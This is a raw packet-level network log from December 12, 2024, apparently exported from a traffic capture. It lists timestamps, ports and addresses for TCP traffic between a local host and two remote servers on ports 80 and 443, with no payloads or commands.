Dec 12, 2024 14:27:00.959665060 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.959803104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.959842920 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.960014105 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.960145950 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.960699081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.960761070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.960892916 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.960958004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.961575031 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.961591005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.961620092 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.961632013 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.962438107 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.962475061 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.962532997 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.962589979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.963224888 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.963248014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.963289022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.963289022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.963989019 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.964004040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.964045048 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.964045048 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.964869976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.964907885 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.964932919 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.964946032 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.965779066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.965816975 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.965831041 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.965930939 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.966605902 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.966623068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.966645956 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.966660023 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.967492104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.967506886 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.967551947 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.967551947 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.968283892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.968333006 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.968353033 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.968415976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.969242096 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.969280958 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.969347000 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.969389915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.970042944 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.970078945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.970120907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.970120907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.971102953 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.971184969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.971249104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.971333027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.971745968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.971760988 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.971806049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.971806049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.972588062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.972687960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.972713947 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.972765923 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.973740101 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.973754883 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.973797083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.973797083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.974447012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.974497080 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.974754095 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.974819899 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.975234032 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.975276947 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.975717068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.975764990 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.975979090 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.976027966 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.976052999 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.976097107 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.976916075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.976962090 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.347249031 CET	443	49884	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:01.347340107 CET	49884	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:01.357368946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.357383966 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.357445002 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.357460022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.357484102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.357484102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.357500076 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.357549906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.357549906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.358175039 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.358227968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.358325958 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.358339071 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.358383894 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.358383894 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.358391047 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.358403921 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.358431101 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.358486891 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.359268904 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.359283924 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.359335899 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.359339952 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.359349012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.359381914 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.359414101 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.359416008 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.359472990 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.360013962 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.360074997 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.360099077 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.360102892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.360105991 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.360141993 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.360200882 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.360243082 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.360975981 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.361071110 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.361129999 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.361143112 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.361186981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.361186981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.361207962 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.361222029 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.361270905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.361270905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.361887932 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.361927986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.362015963 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.362051010 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.362056971 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.362057924 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.362076044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.362082958 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.362147093 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.362966061 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.362978935 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.363017082 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.363022089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.363030910 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.363049984 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.363049984 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.363065004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.364090919 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.364103079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.364155054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.364161015 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.364167929 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.364227057 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.364227057 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.365022898 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.365036964 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.365083933 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.365083933 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.365130901 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.365142107 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.365183115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.365184069 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.365806103 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.365849972 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.365895987 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.365942955 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.365948915 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.365993023 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.365993023 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.366682053 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.366693974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.366727114 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.366759062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.366770983 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.366791010 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.366791010 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.366806030 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.367405891 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.367449045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.367502928 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.367516041 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.367527008 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.367558956 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.367558956 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.367562056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.367574930 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.367595911 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.367595911 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.367758989 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.368390083 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.368405104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.368429899 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.368443012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.368454933 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.368457079 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.368457079 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.368467093 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.368468046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.368484020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.368496895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.368505001 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.368505001 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.368526936 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.369188070 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.369200945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.369211912 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.369223118 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.369235039 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.369245052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.369250059 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.369257927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.369259119 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.369271994 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.369283915 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.369297981 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.369298935 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.369298935 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.369327068 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.369350910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.370141029 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.370152950 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.370181084 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.370193005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.370198965 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.370239019 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.370255947 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.370268106 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.370307922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.370307922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.370321035 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.370345116 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.370351076 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.370402098 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.370430946 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.371154070 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.371172905 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.371185064 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.371196032 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.371221066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.371222973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.371222973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.371233940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.371246099 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.371258020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.371272087 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.371273041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.371273041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.371284008 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.371300936 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.371337891 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.372045994 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372060061 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372072935 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372082949 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372088909 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372095108 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372101068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372106075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372107983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.372107983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.372160912 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.372805119 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372860909 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372873068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372884035 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372901917 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.372901917 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.372910023 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372921944 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.372932911 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.372946978 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372957945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.372983932 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.372983932 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.373018026 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.396146059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.396179914 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.396255016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.396262884 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.396267891 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.396281958 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.396312952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.396317959 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.396317959 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.396372080 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.397077084 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.397089958 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.397160053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.397160053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.397207975 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.397219896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.397248983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.397270918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.397278070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.397339106 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.398129940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.398166895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.398173094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.398190975 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.398205042 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.398217916 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.398227930 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.398227930 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.398250103 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.398271084 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.398982048 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.398993015 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.399003983 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.399014950 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.399039030 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.399053097 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.399065018 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.399066925 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.399101973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.399821043 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.399832010 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.399864912 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.399890900 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.399899006 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.399914980 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.399949074 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.399950027 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.399990082 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.399990082 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.400784969 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.400832891 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.400847912 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.400860071 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.400907993 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.400907993 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.400908947 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.400922060 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.400955915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.400955915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.401796103 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.401807070 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.401844978 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.401855946 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.401870966 CET	80	49878	31.41.244.11	192.168.2.4
